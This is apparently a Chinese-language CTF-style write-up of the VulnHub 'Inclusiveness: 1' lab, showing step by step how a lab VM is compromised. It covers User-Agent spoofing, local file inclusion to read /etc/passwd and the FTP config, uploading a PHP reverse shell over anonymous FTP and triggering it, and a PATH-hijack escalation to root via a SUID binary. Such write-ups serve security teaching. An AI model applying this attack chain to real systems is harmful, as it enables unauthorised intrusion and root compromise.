渗透思路:

nmap扫描 ---- 绕过非搜索引擎(User-Agent头)过滤读取robots.txt ---- 利用LFI和ftp匿名上传文件getshell ---- C语言代码审计提权

环境信息:

靶机:192.168.101.83

攻击机:192.168.101.34

具体步骤:

1、nmap扫描

sudo nmap -sV -sC -p- 192.168.101.83

扫描到tcp端口21、22、80。

其中21端口ftp是可以匿名登录的,并且根目录下有一个可以写入的文件夹pub。这个文件夹下什么文件也没有,可能是后续需要写入一些文件。

2、绕过User-Agent头过滤

访问网站的robots.txt文件,发现提示说我不是搜索引擎所以不能读取robots.txt的内容

http://192.168.101.83/robots.txt

访问http://192.168.101.83/robots.txt的同时用burpsuite的proxy模块抓包,并将抓到的报文send to repeater

在repeater模块中修改请求报文的User-Agent头,修改为

User-Agent: GoogleBot

发送后,在响应报文中发现一个新目录/secret_information/

(修改User-Agent头还可以通过修改浏览器配置或者浏览器插件等方法)

3、利用LFI和ftp匿名上传getshell

浏览器中访问http://192.168.101.83/secret_information/,发现两个链接,english和spanish

点一下english,发现url变成了http://192.168.101.83/secret_information/?lang=en.php

lang的参数值是一个文件名,也许有文件包含漏洞。

尝试用浏览器访问http://192.168.101.83/secret_information/?lang=/etc/passwd

页面回显了/etc/passwd的内容,可以证实有LFI

后来在攻击机上起http服务,并尝试在此处包含攻击机上的文件,没有包含成功,看来没有RFI。

步骤1中已知有一个可以上传文件的ftp目录,可以往这个目录上传一个php反弹shell文件。

我上传的是kali自带的php反弹shell(/usr/share/webshells/php/php-reverse-shell.php),修改其中的$ip为攻击机ip,$port为攻击机nc监听端口。匿名登录靶机ftp(用户名anonymous,密码为空),并用put命令上传php反弹shell

ftp 192.168.101.83
anonymous
ftp> ls
ftp> cd pub
ftp> put php-reverse.php

先在反弹shell有了,要想利用本地文件包含漏洞执行php反弹shell的话,还得知道反弹shell所在系统路径。

由于在步骤1中nmap已经识别到ftp的版本是vsftpd 3.0.3,所以我一开始尝试利用LFI读取/etc/vsftpd/vsftpd.conf的内容,但是发现靶机上没有这个文件,于是我尝试将vsftpd这级目录去掉,也就是利用LFI访问/etc/vsftpd.conf,读取到了ftp的配置

http://192.168.101.83/secret_information/?lang=/etc/vsftpd.conf

查看网页源代码可以看得更清楚,配置文件拉到最下面,发现匿名用户登录的目录为/var/ftp

anon_root=/var/ftp/

浏览器访问:http://192.168.101.83/secret_information/?lang=/var/ftp/pub/php-reverse.php

得到靶机www-data用户的反弹shell

4、C语言代码审计提权

靶机shell中输入如下命令得到交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

输入如下命令查找系统中有suid权限的命令

find / -user root -perm /4000 2>/dev/null

发现一个可疑的:/home/tom/rootshell

执行一下试试,发现两行打印,看样子是要校验当前用户是否是tom,执行完之后用户还是www-data

checking if you are tom...

you are: www-data

想了很多办法提权到tom都没有可行的,最后/home/tom目录下一看,源代码rootshell.c是可读的

读了一下rootshell.c的内容,发现它是通过whoami这个命令来获取当前用户名的

那么我灵机一动,做个假的whoami命令让它返回tom不就行了。

于是我来到/tmp目录下,执行如下命令创建了一个假的whoami命令文件,并赋可执行权限

www-data@inclusiveness:/home/tom$ cd /tmp
www-data@inclusiveness:/tmp$ echo "echo 'tom'" > whoami
www-data@inclusiveness:/tmp$ chmod +x whoami

但光这样还是不够的,从下图中可以看到,执行whoami命令时返回的用户名还是www-data

还需要设置系统变量PATH,把/tmp放在最前面,这样执行命令的时候系统就会先在/tmp目录下找了

www-data@inclusiveness:/tmp$ PATH=/tmp:$PATH

现在再执行whoami,得到的就是tom了

最后,执行/home/tom/rootshell,得到root权限,并在/root目录下找到flag.txt

vulnhub inclusiveness: 1相关推荐

  1. 渗透测试靶机搭建_对vulnhub中Android4靶机渗透测试全过程!

    Android4靶机简介 名称:Android4 操作系统:Android v4.4 标志:/data/root/(在此目录中) 等级:初学者. 下载链接:Android4:https://downl ...

  2. Vulnhub靶机渗透之 RAVEN: 1

    目录 Description 网卡信息 信息收集 主机发现 主机存活扫描 端口扫描 网站信息 网站首页 nikto 报告 service 页面 wordpress 渗透过程 SSH 爆破 Hydr 命 ...

  3. [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可 ...

  4. 【Vulnhub靶机系列】DC2

    基本信息 Kali:192.168.61.145 DC2:192.168.61.162 实验过程 在Kali中先进行内网探活 sudo arp-scan --interface eth0 192.16 ...

  5. 【Vulnhub靶机系列】DC1

    基本信息 Kali: 192.168.56.116 DC1: 192.168.56.115 实验过程 先在Kali中使用arp-scan进行主机探活 sudo arp-scan --interface ...

  6. 利用Vulnhub复现漏洞 - JBoss JMXInvokerServlet 反序列化漏洞

    JBoss JMXInvokerServlet 反序列化漏洞 Vulnhub官方复现教程 漏洞原理 复现过程 启动环境 端口设置 浏览器设置 BurpSuit设置 复现漏洞 序列化数据生成 发送POC ...

  7. 靶场练习第二十二天~vulnhub靶场之Momentum-2

    一.准备工作 靶机下载地址:Momentum: 2 ~ VulnHub 1.查看kali的ip 使用命令ifconfig 2.使用nmap命令 nmap 192.168.101.0/24 查看开放的端 ...

  8. 靶场练习第二十五天~vulnhub靶场之Raven-2

    一.准备工作 kali和靶机都选择NAT模式(kali与靶机同网段) 1.靶场环境 下载链接:Raven: 2 ~ VulnHub 2.kali的ip 命令:ifconfig 3.靶机的ip 扫描靶机 ...

  9. 靶场练习第二十天~vulnhub靶场之Funbox: Scriptkiddie

    一.环境搭建 靶官网机下载地址:Funbox: Scriptkiddie ~ VulnHub 百度云盘下载链接: 百度网盘 请输入提取码 提取码: i4a9 二.信息收集 1.nmap命令扫描靶机 先 ...

最新文章

  1. linux开启docker mysql_Linux服务器利用Docker快速搭建MySQL数据库
  2. 注塑机摆放间距多少合适_红木家具之间正确的摆放距离
  3. nginx的一次安装与配置
  4. C# 操作自定义config文件
  5. 记录:JS异步解决方案的发展以及优缺点
  6. 国家特级数学教授李毓佩:我们欠孩子真正的数学阅读 !
  7. 在 Linux、 FreeBSD、 OpenBSD等UNIX操作系统 中查看 所有安装的软件或包
  8. cropper.js插件做图片上传裁剪图片大小
  9. win7 桌面背景保存位置,告诉你源文件删除后如何找回
  10. View-WebView获取url的title
  11. matlab ga工具箱编程,遗传算法 -- matlab ga工具箱
  12. cass生成里程文件桩号不全,cass生成桩号
  13. WindowsPhone8 应用开发学习笔记(一)
  14. 大数据人才如此稀缺,学什么专业才能从事大数据?
  15. 121. 买卖股票的最佳时机 给定一个数组 prices ,它的第 i 个元素 prices[i] 表示一支给定股票第 i 天的价格。 你只能选择 某一天 买入这只股票,并选择在 未来的某一个不同的
  16. phpstorm注册码 激活 授权码 License server
  17. vs code 插件change-case, 修改变量名 驼峰和常量等
  18. js正则表达式及语法
  19. 程序员生涯快一年感悟
  20. 最佳实践 | 基于腾讯云ES如何跨地域容灾?跨集群复制为您解忧!

热门文章

  1. 2022危险化学品经营单位安全管理人员特种作业证考试题库模拟考试平台操作
  2. 笨方法学python在线_“笨办法”学Python(第3版)
  3. layui表格下拉框无法显示
  4. 自定义Lint检查规则
  5. 〖Python自动化办公篇⑬〗- Excel 文件自动化 - 写入 excel 数据(xlsxwriter)
  6. 用python进行数据分析举例说明_《利用python进行数据分析》读书笔记 --第一、二章 准备与例子...
  7. 智能计算数学基础——分类问题
  8. git 如何回退版本(通俗易懂,简单上手)
  9. 车路协同信息交互技术要求第 1 部分:路侧设施与云控平台
  10. DOM初探(15)——查看视口的尺寸